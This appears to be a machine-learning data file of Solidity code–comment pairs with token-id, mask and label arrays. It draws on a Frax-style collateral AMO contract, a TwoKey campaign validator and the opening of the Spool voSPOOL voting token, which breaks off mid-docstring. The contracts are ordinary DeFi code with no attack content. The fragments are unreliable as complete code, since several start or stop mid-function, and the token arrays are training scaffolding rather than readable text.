aaveUSDC_Pool.deposit(collateral_address, USDC_amount, address(this), 0); } // E6 function aaveWithdrawUSDC(uint256 aUSDC_amount) public onlyByOwnerOrGovernance { aaveUSDC_Pool.withdraw(collateral_address, aUSDC_amount, address(this)); } // Collect stkAAVE function aaveCollect_stkAAVE() public onlyByOwnerOrGovernance { address[] memory the_assets = new address[](1); the_assets[0] = address(aaveUSDC_Token); uint256 rewards_balance = AAVEIncentivesController.getRewardsBalance(the_assets, address(this)); AAVEIncentivesController.claimRewards(the_assets, rewards_balance, address(this)); } // Start cooldown to begin converting stkAAVE to AAVE function aaveCooldown_stkAAVE() public onlyByOwnerOrGovernance { stkAAVE.cooldown(); } // Claim cooled-down AAVE function aaveCollect_Cooldowned_AAVE() public onlyByOwnerOrGovernance { stkAAVE.claimRewards(address(this), MAX_UINT256); stkAAVE.redeem(address(this), stkAAVE.balanceOf(address(this))); } /* ========== Compound cUSDC + COMP ========== */ function compoundMint_cUSDC(uint256 USDC_amount) public onlyByOwnerOrGovernance { require(allow_compound, 'Compound strategy is currently off'); collateral_token.approve(address(cUSDC), USDC_amount); cUSDC.mint(USDC_amount); } // E8 function compoundRedeem_cUSDC(uint256 cUSDC_amount) public onlyByOwnerOrGovernance { // NOTE that cUSDC is E8, NOT E6 cUSDC.redeem(cUSDC_amount); } function compoundCollectCOMP() public onlyByOwnerOrGovernance { address[] memory cTokens = new address[](1); cTokens[0] = address(cUSDC); CompController.claimComp(address(this), cTokens); } /* ========== Custodian ========== */ function withdrawRewards() public onlyCustodian { COMP.transfer(custodian_address, COMP.balanceOf(address(this))); stkAAVE.transfer(custodian_address, stkAAVE.balanceOf(address(this))); AAVE.transfer(custodian_address, AAVE.balanceOf(address(this))); } /* ========== RESTRICTED FUNCTIONS ========== */ function setTimelock(address new_timelock) external onlyByOwnerOrGovernance { require(new_timelock != address(0), "Timelock address cannot be 0"); timelock_address = new_timelock; } function setWethAddress(address _weth_address) external onlyByOwnerOrGovernance { weth_address = _weth_address; } function setCustodian(address _custodian_address) external onlyByOwnerOrGovernance { require(_custodian_address != address(0), "Custodian address cannot be 0"); custodian_address = _custodian_address; } function setPool(address _pool_address) external onlyByOwnerOrGovernance { pool_address = _pool_address; pool = FraxPool(_pool_address); } function setBorrowCap(uint256 _borrow_cap) external onlyByOwnerOrGovernance { borrow_cap = _borrow_cap; } function toggleAllocsForCollatDB() external onlyByOwnerOrGovernance { useAllocationsForCollatDB = !useAllocationsForCollatDB; } function setAllowedStrategies(bool _yearn, bool _aave, bool _compound) external onlyByOwnerOrGovernance { allow_yearn = _yearn; allow_aave = _aave; allow_compound = _compound; } function emergencyRecoverERC20(address tokenAddress, uint256 tokenAmount) external onlyByOwnerOrGovernance { // Can only be triggered by owner or governance, not custodian // Tokens are sent to the custodian, as a sort of safeguard ERC20(tokenAddress).transfer(custodian_address, tokenAmount); emit Recovered(tokenAddress, tokenAmount); } /* ========== EVENTS ========== */ event Recovered(address token, uint256 amount); }
assignments (must be done in initializer, so assignment gets stored in proxy address's storage instead of implementation address's storage)
) Owned(_creator_address) { FRAX = FRAXStablecoin(_frax_contract_address); FXS = FRAXShares(_fxs_contract_address); pool_address = _pool_address; pool = FraxPool(_pool_address); collateral_address = _collateral_address; collateral_token = ERC20(_collateral_address); timelock_address = _timelock_address; custodian_address = _custodian_address; missing_decimals = uint(18).sub(collateral_token.decimals()); _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); yUSDC_V2 = IyUSDC_V2_Partial(0x5f18C75AbDAe578b483E5F43f12a39cF75b973a9); aaveUSDC_Pool = IAAVELendingPool_Partial(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9); aaveUSDC_Token = IAAVE_aUSDC_Partial(0xBcca60bB61934080951369a648Fb03DF4F96263C); cUSDC = IcUSDC_Partial(0x39AA39c021dfbaE8faC545936693aC917d5E7563); COMP = Comp(0xc00e94Cb662C3520282E6f5717214004A7f26888); AAVE = ERC20(0x7Fc66500c84A76Ad7e9c93437bFc5Ac33E2DDaE9); stkAAVE = IStakedAave(0x4da27a545c0c5B758a6BA100e3a049001de870f5); CompController = ICompComptrollerPartial(0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B); AAVEIncentivesController = IAaveIncentivesControllerPartial(0xd784927Ff2f95ba542BfC824c8a8a98F3495f6b5); weth_address = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; PRICE_PRECISION = 1e6; borrow_cap = uint256(20000e6); borrowed_balance = 0; borrowed_historical = 0; paid_back_historical = 0; allow_yearn = true; allow_aave = true; allow_compound = true; useAllocationsForCollatDB = true; MAX_UINT256 = type(uint256).max; }
12,742,026
[ 1, 24326, 261, 11926, 506, 2731, 316, 12562, 16, 1427, 6661, 5571, 4041, 316, 2889, 1758, 1807, 2502, 3560, 434, 4471, 1758, 1807, 2502, 13, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 262, 14223, 11748, 24899, 20394, 67, 2867, 13, 288, 203, 3639, 14583, 2501, 273, 14583, 2501, 30915, 12645, 24899, 74, 354, 92, 67, 16351, 67, 2867, 1769, 203, 3639, 478, 60, 55, 273, 14583, 2501, 24051, 24899, 74, 13713, 67, 16351, 67, 2867, 1769, 203, 3639, 2845, 67, 2867, 273, 389, 6011, 67, 2867, 31, 203, 3639, 2845, 273, 478, 354, 92, 2864, 24899, 6011, 67, 2867, 1769, 203, 3639, 4508, 2045, 287, 67, 2867, 273, 389, 12910, 2045, 287, 67, 2867, 31, 203, 3639, 4508, 2045, 287, 67, 2316, 273, 4232, 39, 3462, 24899, 12910, 2045, 287, 67, 2867, 1769, 203, 3639, 1658, 292, 975, 67, 2867, 273, 389, 8584, 292, 975, 67, 2867, 31, 203, 3639, 276, 641, 369, 2779, 67, 2867, 273, 389, 71, 641, 369, 2779, 67, 2867, 31, 203, 3639, 3315, 67, 31734, 273, 2254, 12, 2643, 2934, 1717, 12, 12910, 2045, 287, 67, 2316, 18, 31734, 10663, 203, 3639, 389, 8401, 2996, 12, 5280, 67, 15468, 67, 16256, 16, 389, 3576, 12021, 10663, 203, 203, 3639, 677, 3378, 5528, 67, 58, 22, 273, 467, 93, 3378, 5528, 67, 58, 22, 67, 9447, 12, 20, 92, 25, 74, 2643, 39, 5877, 5895, 9793, 73, 25, 8285, 70, 8875, 23, 41, 25, 42, 8942, 74, 2138, 69, 5520, 71, 42, 5877, 70, 29, 9036, 69, 29, 1769, 203, 3639, 279, 836, 3378, 5528, 67, 2864, 273, 467, 5284, 7900, 2846, 2864, 67, 9447, 12, 20, 92, 27, 72, 5324, 9470, 72, 41, 1578, 70, 20, 70, 3672, 70, 27, 2 ]
pragma solidity ^0.4.13; contract IGetImplementation { function implementation() public view returns (address); } contract IStructuredStorage { function setProxyLogicContractAndDeployer(address _proxyLogicContract, address _deployer) external; function setProxyLogicContract(address _proxyLogicContract) external; // *** Getter Methods *** function getUint(bytes32 _key) external view returns(uint); function getString(bytes32 _key) external view returns(string); function getAddress(bytes32 _key) external view returns(address); function getBytes(bytes32 _key) external view returns(bytes); function getBool(bytes32 _key) external view returns(bool); function getInt(bytes32 _key) external view returns(int); function getBytes32(bytes32 _key) external view returns(bytes32); // *** Getter Methods For Arrays *** function getBytes32Array(bytes32 _key) external view returns (bytes32[]); function getAddressArray(bytes32 _key) external view returns (address[]); function getUintArray(bytes32 _key) external view returns (uint[]); function getIntArray(bytes32 _key) external view returns (int[]); function getBoolArray(bytes32 _key) external view returns (bool[]); // *** Setter Methods *** function setUint(bytes32 _key, uint _value) external; function setString(bytes32 _key, string _value) external; function setAddress(bytes32 _key, address _value) external; function setBytes(bytes32 _key, bytes _value) external; function setBool(bytes32 _key, bool _value) external; function setInt(bytes32 _key, int _value) external; function setBytes32(bytes32 _key, bytes32 _value) external; // *** Setter Methods For Arrays *** function setBytes32Array(bytes32 _key, bytes32[] _value) external; function setAddressArray(bytes32 _key, address[] _value) external; function setUintArray(bytes32 _key, uint[] _value) external; function setIntArray(bytes32 _key, int[] _value) external; function setBoolArray(bytes32 _key, bool[] _value) external; // *** Delete Methods *** function deleteUint(bytes32 _key) external; function deleteString(bytes32 _key) external; function deleteAddress(bytes32 _key) external; function deleteBytes(bytes32 _key) external; function deleteBool(bytes32 _key) external; function deleteInt(bytes32 _key) external; function deleteBytes32(bytes32 _key) external; } contract ITwoKeyCampaign { function getNumberOfUsersToContractor( address _user ) public view returns (uint); function getReceivedFrom( address _receiver ) public view returns (address); function balanceOf( address _owner ) public view returns (uint256); function getReferrerCut( address me ) public view returns (uint256); function getReferrerPlasmaBalance( address _influencer ) public view returns (uint); function updateReferrerPlasmaBalance( address _influencer, uint _balance ) public; function updateModeratorRewards( uint moderatorTokens ) public; address public logicHandler; address public conversionHandler; } contract ITwoKeyCampaignPublicAddresses { address public twoKeySingletonesRegistry; address public contractor; //contractor address address public moderator; //moderator address function publicLinkKeyOf(address me) public view returns (address); } contract ITwoKeyConversionHandler { bool public isFiatConversionAutomaticallyApproved; address public twoKeyPurchasesHandler; function supportForCreateConversion( address _converterAddress, uint256 _conversionAmount, uint256 _maxReferralRewardETHWei, bool isConversionFiat, bool _isAnonymous, uint conversionAmountCampaignCurrency ) public returns (uint); function executeConversion( uint _conversionId ) public; function getConverterConversionIds( address _converter ) external view returns (uint[]); function getConverterPurchasesStats( address _converter ) public view returns (uint,uint,uint); function getStateForConverter( address _converter ) public view returns (bytes32); function getMainCampaignContractAddress() public view returns (address); } contract ITwoKeyDonationCampaign { address public logicHandler; function buyTokensForModeratorRewards( uint moderatorFee ) public; function buyTokensAndDistributeReferrerRewards( uint256 _maxReferralRewardETHWei, address _converter, uint _conversionId ) public returns (uint); function updateReferrerPlasmaBalance(address _influencer, uint _balance) public; function updateContractorProceeds(uint value) public; function sendBackEthWhenConversionCancelledOrRejected(address _cancelledConverter, uint _conversionAmount) public; } contract ITwoKeyDonationCampaignFetchAddresses { address public twoKeyDonationConversionHandler; address public twoKeyDonationCampaign; } contract ITwoKeyEventSourceEvents { // This 2 functions will be always in the interface since we need them very often function ethereumOf(address me) public view returns (address); function plasmaOf(address me) public view returns (address); function created( address _campaign, address _owner, address _moderator ) external; function rewarded( address _campaign, address _to, uint256 _amount ) external; function acquisitionCampaignCreated( address proxyLogicHandler, address proxyConversionHandler, address proxyAcquisitionCampaign, address proxyPurchasesHandler, address contractor ) external; function donationCampaignCreated( address proxyDonationCampaign, address proxyDonationConversionHandler, address proxyDonationLogicHandler, address contractor ) external; function priceUpdated( bytes32 _currency, uint newRate, uint _timestamp, address _updater ) external; function userRegistered( string _name, address _address, string _fullName, string _email, string _username_walletName ) external; function cpcCampaignCreated( address proxyCPC, address contractor ) external; function emitHandleChangedEvent( address _userPlasmaAddress, string _newHandle ) public; } contract ITwoKeyMaintainersRegistry { function checkIsAddressMaintainer(address _sender) public view returns (bool); function checkIsAddressCoreDev(address _sender) public view returns (bool); function addMaintainers(address [] _maintainers) public; function addCoreDevs(address [] _coreDevs) public; function removeMaintainers(address [] _maintainers) public; function removeCoreDevs(address [] _coreDevs) public; } contract ITwoKeySingletoneRegistryFetchAddress { function getContractProxyAddress(string _contractName) public view returns (address); function getNonUpgradableContractAddress(string contractName) public view returns (address); function getLatestCampaignApprovedVersion(string campaignType) public view returns (string); } interface ITwoKeySingletonesRegistry { /** * @dev This event will be emitted every time a new proxy is created * @param proxy representing the address of the proxy created */ event ProxyCreated(address proxy); /** * @dev This event will be emitted every time a new implementation is registered * @param version representing the version name of the registered implementation * @param implementation representing the address of the registered implementation * @param contractName is the name of the contract we added new version */ event VersionAdded(string version, address implementation, string contractName); /** * @dev Registers a new version with its implementation address * @param version representing the version name of the new implementation to be registered * @param implementation representing the address of the new implementation to be registered */ function addVersion(string _contractName, string version, address implementation) public; /** * @dev Tells the address of the implementation for a given version * @param _contractName is the name of the contract we're querying * @param version to query the implementation of * @return address of the implementation registered for the given version */ function getVersion(string _contractName, string version) public view returns (address); } contract ITwoKeyCampaignValidatorStorage is IStructuredStorage { } contract ITwoKeySingletonUtils { address public TWO_KEY_SINGLETON_REGISTRY; // Modifier to restrict method calls only to maintainers modifier onlyMaintainer { address twoKeyMaintainersRegistry = getAddressFromTwoKeySingletonRegistry("TwoKeyMaintainersRegistry"); require(ITwoKeyMaintainersRegistry(twoKeyMaintainersRegistry).checkIsAddressMaintainer(msg.sender)); _; } /** * @notice Function to get any singleton contract proxy address from TwoKeySingletonRegistry contract * @param contractName is the name of the contract we're looking for */ function getAddressFromTwoKeySingletonRegistry( string contractName ) internal view returns (address) { return ITwoKeySingletoneRegistryFetchAddress(TWO_KEY_SINGLETON_REGISTRY) .getContractProxyAddress(contractName); } function getNonUpgradableContractAddressFromTwoKeySingletonRegistry( string contractName ) internal view returns (address) { return ITwoKeySingletoneRegistryFetchAddress(TWO_KEY_SINGLETON_REGISTRY) .getNonUpgradableContractAddress(contractName); } } contract UpgradeabilityStorage { // Versions registry ITwoKeySingletonesRegistry internal registry; // Address of the current implementation address internal _implementation; /** * @dev Tells the address of the current implementation * @return address of the current implementation */ function implementation() public view returns (address) { return _implementation; } } contract Upgradeable is UpgradeabilityStorage { /** * @dev Validates the caller is the versions registry. * @param sender representing the address deploying the initial behavior of the contract */ function initialize(address sender) public payable { require(msg.sender == address(registry)); } } contract TwoKeyCampaignValidator is Upgradeable, ITwoKeySingletonUtils { /** * Storage keys are stored on the top. Here they are in order to avoid any typos */ string constant _isCampaignValidated = "isCampaignValidated"; string constant _campaign2NonSingletonHash = "campaign2NonSingletonHash"; /** * Keys for the addresses we're accessing */ string constant _twoKeyFactory = "TwoKeyFactory"; string constant _twoKeyEventSource = "TwoKeyEventSource"; bool initialized; // Pointer to the PROXY storage contract ITwoKeyCampaignValidatorStorage public PROXY_STORAGE_CONTRACT; /** * @notice Function to set initial parameters in this contract * @param _twoKeySingletoneRegistry is the address of TwoKeySingletoneRegistry contract * @param _proxyStorage is the address of proxy of storage contract */ function setInitialParams( address _twoKeySingletoneRegistry, address _proxyStorage ) public { require(initialized == false); TWO_KEY_SINGLETON_REGISTRY = _twoKeySingletoneRegistry; PROXY_STORAGE_CONTRACT = ITwoKeyCampaignValidatorStorage(_proxyStorage); initialized = true; } // Modifier which will make function throw if caller is not TwoKeyFactory proxy contract modifier onlyTwoKeyFactory { address twoKeyFactory = getAddressFromTwoKeySingletonRegistry(_twoKeyFactory); require(msg.sender == twoKeyFactory); _; } /** * @notice Function which will make newly created campaign validated * @param campaign is the address of the campaign * @param nonSingletonHash is the non singleton hash at the moment of campaign creation */ function validateAcquisitionCampaign( address campaign, string nonSingletonHash ) public onlyTwoKeyFactory { address conversionHandler = ITwoKeyCampaign(campaign).conversionHandler(); address logicHandler = ITwoKeyCampaign(campaign).logicHandler(); address purchasesHandler = ITwoKeyConversionHandler(conversionHandler).twoKeyPurchasesHandler(); //Whitelist all campaign associated contracts PROXY_STORAGE_CONTRACT.setBool(keccak256(_isCampaignValidated, conversionHandler), true); PROXY_STORAGE_CONTRACT.setBool(keccak256(_isCampaignValidated, logicHandler), true); PROXY_STORAGE_CONTRACT.setBool(keccak256(_isCampaignValidated, purchasesHandler), true); PROXY_STORAGE_CONTRACT.setBool(keccak256(_isCampaignValidated,campaign), true); PROXY_STORAGE_CONTRACT.setString(keccak256(_campaign2NonSingletonHash,campaign), nonSingletonHash); emitCreatedEvent(campaign); } /** * @notice Function which will make newly created campaign validated * @param campaign is the campaign address * @dev Validates all the required stuff, if the campaign is not validated, it can't update our singletones */ function validateDonationCampaign( address campaign, address donationConversionHandler, address donationLogicHandler, string nonSingletonHash ) public onlyTwoKeyFactory { PROXY_STORAGE_CONTRACT.setBool(keccak256(_isCampaignValidated,campaign), true); PROXY_STORAGE_CONTRACT.setBool(keccak256(_isCampaignValidated,donationConversionHandler), true); PROXY_STORAGE_CONTRACT.setBool(keccak256(_isCampaignValidated,donationLogicHandler), true); PROXY_STORAGE_CONTRACT.setString(keccak256(_campaign2NonSingletonHash,campaign), nonSingletonHash); emitCreatedEvent(campaign); } function validateCPCCampaign( address campaign, string nonSingletonHash ) public onlyTwoKeyFactory { PROXY_STORAGE_CONTRACT.setBool(keccak256(_isCampaignValidated,campaign), true); PROXY_STORAGE_CONTRACT.setString(keccak256(_campaign2NonSingletonHash,campaign), nonSingletonHash); //Emit event that is created with moderator contractor and campaign address emitCreatedEvent(campaign); } /** * @notice Function which will return either is or not one of the campaign contracts validated * @param campaign is any contract deployed during any campaign creation through TwoKeyFactory */ function isCampaignValidated(address campaign) public view returns (bool) { bytes32 hashKey = keccak256(_isCampaignValidated, campaign); return PROXY_STORAGE_CONTRACT.getBool(hashKey); } /** * @notice Function which is serving as getter for non-singleton hash at the time of campaign creation * @param campaign is the address of strictly main campaign contract (TwoKeyAcquisitionCampaignERC20, TwoKeyDonationCampaign for now) */ function campaign2NonSingletonHash(address campaign) public view returns (string) { return PROXY_STORAGE_CONTRACT.getString(keccak256(_campaign2NonSingletonHash, campaign)); } /** * @notice Function to emit event on TwoKeyEventSource contract */ function emitCreatedEvent(address campaign) internal { address contractor = ITwoKeyCampaignPublicAddresses(campaign).contractor(); address moderator = ITwoKeyCampaignPublicAddresses(campaign).moderator(); //Get the event source address address twoKeyEventSource = getAddressFromTwoKeySingletonRegistry(_twoKeyEventSource); // Emit event ITwoKeyEventSourceEvents(twoKeyEventSource).created(campaign,contractor,moderator); } }
Emit event that is created with moderator contractor and campaign address
function validateCPCCampaign( address campaign, string nonSingletonHash ) public onlyTwoKeyFactory { PROXY_STORAGE_CONTRACT.setBool(keccak256(_isCampaignValidated,campaign), true); PROXY_STORAGE_CONTRACT.setString(keccak256(_campaign2NonSingletonHash,campaign), nonSingletonHash); emitCreatedEvent(campaign); }
73,049
[ 1, 17982, 871, 716, 353, 2522, 598, 681, 7385, 6835, 280, 471, 8965, 1758, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1954, 39, 3513, 13432, 12, 203, 3639, 1758, 8965, 16, 203, 3639, 533, 1661, 19571, 2310, 203, 565, 262, 203, 565, 1071, 203, 565, 1338, 11710, 653, 1733, 203, 565, 288, 203, 3639, 26910, 67, 19009, 67, 6067, 2849, 1268, 18, 542, 7464, 12, 79, 24410, 581, 5034, 24899, 291, 13432, 24258, 16, 14608, 3631, 638, 1769, 203, 3639, 26910, 67, 19009, 67, 6067, 2849, 1268, 18, 542, 780, 12, 79, 24410, 581, 5034, 24899, 14608, 22, 3989, 19571, 2310, 16, 14608, 3631, 1661, 19571, 2310, 1769, 203, 203, 3639, 3626, 6119, 1133, 12, 14608, 1769, 203, 565, 289, 203, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity 0.8.13; import "./external/@openzeppelin/token/ERC20/extensions/IERC20Metadata.sol"; import "./external/spool-core/SpoolOwnable.sol"; import "./interfaces/IVoSPOOL.sol"; /* ========== STRUCTS ========== */ /** * @notice global tranche struct * @dev used so it can be passed through functions as a struct * @member amount amount minted in tranche */ struct Tranche { uint48 amount; } /** * @notice global tranches struct holding 5 tranches * @dev made to pack multiple tranches in one word * @member zero tranche in pack at position 0 * @member one tranche in pack at position 1 * @member two tranche in pack at position 2 * @member three tranche in pack at position 3 * @member four tranche in pack at position 4 */ struct GlobalTranches { Tranche zero; Tranche one; Tranche two; Tranche three; Tranche four; } /** * @notice user tranche struct * @dev struct holds users minted amount at tranche at index * @member amount users amount minted at tranche * @member index tranche index */ struct UserTranche { uint48 amount; uint16 index; } /** * @notice user tranches struct, holding 4 user tranches * @dev made to pack multiple tranches in one word * @member zero user tranche in pack at position 0 * @member one user tranche in pack at position 1 * @member two user tranche in pack at position 2 * @member three user tranche in pack at position 3 */ struct UserTranches { UserTranche zero; UserTranche one; UserTranche two; UserTranche three; } /** * @title Spool DAO Voting Token Implementation * * @notice The voting SPOOL pseudo-ERC20 Implementation * * An untransferable token implementation meant to be used by the * Spool DAO to mint the voting equivalent of the staked token. * * @dev * Users voting power consists of instant and gradual (maturing) voting power. * voSPOOL contract assumes voting power comes from vesting or staking SPOOL tokens. * As SPOOL tokens have a maximum supply of 210,000,000 * 10**18, we consider this * limitation when storing data (e.g. storing amount divided by 10**12) to save on gas. * * Instant voting power can be used in the full amount as soon as minted. * * Gradual voting power: * Matures linearly over 156 weeks (3 years) up to the minted amount. * If a user burns gradual voting power, all accumulated voting power is * reset to zero. In case there is some amount left, it'll take another 3 * years to achieve fully-matured power. Only gradual voting power is reset * and not instant one. * Gradual voting power updates at every new tranche, which lasts one week. * * Contract consists of: * - CONSTANTS * - STATE VARIABLES * - CONSTRUCTOR * - IERC20 FUNCTIONS * - INSTANT POWER FUNCTIONS * - GRADUAL POWER FUNCTIONS * - GRADUAL POWER: VIEW FUNCTIONS * - GRADUAL POWER: MINT FUNCTIONS * - GRADUAL POWER: BURN FUNCTIONS * - GRADUAL POWER: UPDATE GLOBAL FUNCTIONS * - GRADUAL POWER: UPDATE USER FUNCTIONS * - GRADUAL POWER: GLOBAL HELPER FUNCTIONS * - GRADUAL POWER: USER HELPER FUNCTIONS * - GRADUAL POWER: HELPER FUNCTIONS * - OWNER FUNCTIONS * - RESTRICTION FUNCTIONS * - MODIFIERS */ contract VoSPOOL is SpoolOwnable, IVoSPOOL, IERC20Metadata { /* ========== CONSTANTS ========== */ /// @notice trim size value of the mint amount /// @dev we trim gradual mint amount by `TRIM_SIZE`, so it takes less storage uint256 private constant TRIM_SIZE = 10**12; /// @notice number of tranche amounts stored in one 256bit word uint256 private constant TRANCHES_PER_WORD = 5; /// @notice duration of one tranche uint256 public constant TRANCHE_TIME = 1 weeks; /// @notice amount of tranches to mature to full power uint256 public constant FULL_POWER_TRANCHES_COUNT = 52 * 3; /// @notice time until gradual power is fully-matured /// @dev full power time is 156 weeks (approximately 3 years) uint256 public constant FULL_POWER_TIME = TRANCHE_TIME * FULL_POWER_TRANCHES_COUNT; /// @notice Token name full name string public constant name = "Spool DAO Voting Token"; /// @notice Token symbol string public constant symbol = "voSPOOL"; /// @notice Token decimals uint8 public constant decimals = 18; /* ========== STATE VARIABLES ========== */ /// @notice tranche time for index 1 uint256 public immutable firstTrancheStartTime; /// @notice mapping holding instant minting privileges for addresses mapping(address => bool) public minters; /// @notice mapping holding gradual minting privileges for addresses mapping(address => bool) public gradualMinters; /// @notice total instant voting power uint256 public totalInstantPower; /// @notice user instant voting power mapping(address => uint256) public userInstantPower; /// @notice global gradual power values GlobalGradual private _globalGradual; /// @notice global tranches /// @dev mapping tranche index to a group of tranches (5 tranches per word) mapping(uint256 => GlobalTranches) public indexedGlobalTranches; /// @notice user gradual power values mapping(address => UserGradual) private _userGraduals; /// @notice user tranches /// @dev mapping users to its tranches mapping(address => mapping(uint256 => UserTranches)) public userTranches; /* ========== CONSTRUCTOR ========== */ /** * @notice Sets the value of _spoolOwner and first tranche end time * @dev With `_firstTrancheEndTime` you can set when the first tranche time * finishes and essentially users minted get the first foting power. * e.g. if we set it to Sunday 10pm and tranche time is 1 week, * all new tranches in the future will finish on Sunday 10pm and new * voSPOOL power will mature and be accrued. * * Requirements: * * - first tranche time must be in the future * - first tranche time must must be less than full tranche time in the future * * @param _spoolOwner address of spool owner contract * @param _firstTrancheEndTime first tranche end time after the deployment */ constructor(ISpoolOwner _spoolOwner, uint256 _firstTrancheEndTime) SpoolOwnable(_spoolOwner) { require( _firstTrancheEndTime > block.timestamp, "voSPOOL::constructor: First tranche end time must be in the future" ); require( _firstTrancheEndTime < block.timestamp + TRANCHE_TIME, "voSPOOL::constructor: First tranche end time must be less than full tranche time in the future" ); unchecked { // set first tranche start time firstTrancheStartTime = _firstTrancheEndTime - TRANCHE_TIME; } } /* ========== IERC20 FUNCTIONS ========== */ /** * @notice Returns current total voting power */ function totalSupply() external view override returns (uint256) { (GlobalGradual memory global, ) = _getUpdatedGradual(); return totalInstantPower + _getTotalGradualVotingPower(global); } /** * @notice Returns current user total voting power */ function balanceOf(address account) external view override returns (uint256) { (UserGradual memory _userGradual, ) = _getUpdatedGradualUser(account); return userInstantPower[account] + _getUserGradualVotingPower(_userGradual); } /** * @dev Execution of function is prohibited to disallow token movement */ function transfer(address, uint256) external pure override returns (bool) { revert("voSPOOL::transfer: Prohibited Action"); } /** * @dev Execution of function is prohibited to disallow token movement */ function transferFrom( address, address, uint256 ) external pure override returns (bool) { revert("voSPOOL::transferFrom: Prohibited Action"); } /** * @dev Execution of function is prohibited to disallow token movement */ function approve(address, uint256) external pure override returns (bool) { revert("voSPOOL::approve: Prohibited Action"); } /** * @dev Execution of function is prohibited to disallow token movement */ function allowance(address, address) external pure override returns (uint256) { revert("voSPOOL::allowance: Prohibited Action"); } /* ========== INSTANT POWER FUNCTIONS ========== */ /** * @notice Mints the provided amount as instant voting power. * * Requirements: * * - the caller must be the autorized * * @param to mint to user * @param amount mint amount */ function mint(address to, uint256 amount) external onlyMinter { totalInstantPower += amount; unchecked { userInstantPower[to] += amount; } emit Minted(to, amount); } /** * @notice Burns the provided amount of instant power from the specified user. * @dev only instant power is removed, gradual power stays the same * * Requirements: * * - the caller must be the instant minter * - the user must posses at least the burning `amount` of instant voting power amount * * @param from burn from user * @param amount burn amount */ function burn(address from, uint256 amount) external onlyMinter { require(userInstantPower[from] >= amount, "voSPOOL:burn: User instant power balance too low"); unchecked { userInstantPower[from] -= amount; totalInstantPower -= amount; } emit Burned(from, amount); } /* ========== GRADUAL POWER FUNCTIONS ========== */ /* ---------- GRADUAL POWER: VIEW FUNCTIONS ---------- */ /** * @notice returns updated total gradual voting power (fully-matured and maturing) * * @return totalGradualVotingPower total 